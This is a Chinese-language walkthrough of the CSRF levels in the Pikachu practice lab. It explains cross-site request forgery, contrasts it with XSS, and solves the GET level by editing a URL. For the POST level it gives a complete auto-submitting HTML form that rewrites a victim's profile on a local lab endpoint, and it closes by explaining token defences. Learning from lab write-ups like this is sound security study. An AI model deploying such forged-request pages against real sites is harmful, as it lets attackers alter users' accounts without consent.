pikachu靶場-CSRF


一、概述

CSRF(跨站請求偽造)概述
Cross-site request forgery 簡稱為“CSRF”,在CSRF的攻擊場景中攻擊者會偽造一個請求(這個請求一般是一個鏈接),然后欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,整個攻擊就完成了。所以CSRF攻擊也成為"one click"攻擊。 很多人搞不清楚CSRF的概念,甚至有時候會將其和XSS混淆,更有甚者會將其和越權問題混為一談,這都是對原理沒搞清楚導致的。
這里列舉一個場景解釋一下,希望能夠幫助你理解。

場景需求:
小黑想要修改大白在購物網站tianxiewww.xx.com上填寫的會員地址。
先看下大白是如何修改自己的密碼的:
登錄---修改會員信息,提交請求---修改成功。
所以小黑想要修改大白的信息,他需要擁有:1,登錄權限 2,修改個人信息的請求。
但是大白又不會把自己xxx網站的賬號密碼告訴小黑,那小黑怎么辦?
於是他自己跑到www.xx.com上注冊了一個自己的賬號,然后修改了一下自己的個人信息(比如:E-mail地址),他發現修改的請求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
於是,他實施了這樣一個操作:把這個鏈接偽裝一下,在小白登錄xxx網站后,欺騙他進行點擊,小白點擊這個鏈接后,個人信息就被修改了,小黑就完成了攻擊目的。
為啥小黑的操作能夠實現呢。有如下幾個關鍵點:
1.www.xxx.com這個網站在用戶修改個人的信息時沒有過多的校驗,導致這個請求容易被偽造;
---因此,我們判斷一個網站是否存在CSRF漏洞,其實就是判斷其對關鍵信息(比如密碼等敏感信息)的操作(增刪改)是否容易被偽造。
2.小白點擊了小黑發給的鏈接,並且這個時候小白剛好登錄在購物網上;
---如果小白安全意識高,不點擊不明鏈接,則攻擊不會成功,又或者即使小白點擊了鏈接,但小白此時並沒有登錄購物網站,也不會成功。
---因此,要成功實施一次CSRF攻擊,需要“天時,地利,人和”的條件。
當然,如果小黑事先在xxx網的首頁如果發現了一個XSS漏洞,則小黑可能會這樣做: 欺騙小白訪問埋伏了XSS腳本(盜取cookie的腳本)的頁面,小白中招,小黑拿到小白的cookie,然后小黑順利登錄到小白的后台,小黑自己修改小白的相關信息。
---所以跟上面比一下,就可以看出CSRF與XSS的區別:CSRF是借用戶的權限完成攻擊,攻擊者並沒有拿到用戶的權限,而XSS是直接盜取到了用戶的權限,然后實施破壞。
因此,網站如果要防止CSRF攻擊,則需要對敏感信息的操作實施對應的安全措施,防止這些操作出現被偽造的情況,從而導致CSRF。比如:
--對敏感信息的操作增加安全的token;
--對敏感信息的操作增加安全的驗證碼;
--對敏感信息的操作實施安全的邏輯流程,比如修改密碼時,需要先校驗舊密碼等。

二、CSRF(get)

 

 ①注意提示,此處的用戶名密碼已經更改了。

 

 ②我們隨機登錄一個,修改個人信息,點擊提交,並通過burpsuite抓包。

③從數據包請求來看,並沒有token限制,我們修改url即可。

將其原有地址更改為China

 

 

 

 

三、CSRF(post)

 

①這關不是get了,而是POST傳輸,我們通過抓包發現是以表單請求來提交的。

 

 

 

 ①利用方式的話,做一個提交表單的html文件

post.html

 

 

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://localhost/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

  

②修改成功

 

 

四、CSRF Token

 

 這一關我們在敏感請求上加入了Token,從而不易進行偽造。

在每次請求中,都會加入一個隨機碼,后台每次都會對提交請求中的Token值進行優先比較。

觀察以下數據包吧。

 

 

token防止跨站請求偽造的原理:在瀏覽器訪問網站A時,網站A設置cookie會增加隨機值token,這個值是隨機的。返回給瀏覽器時,cookie會儲存在瀏覽器,同時會把token傳給表單里面的隱藏字段。所以當瀏覽器用自己的表單時會自帶token,網站A取到這個值和cookie里的token一致就通過。而網站B里面的表單沒有這個值,所以不能通過,這樣就阻止了惡意攻擊。非表單也是這樣的原理。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM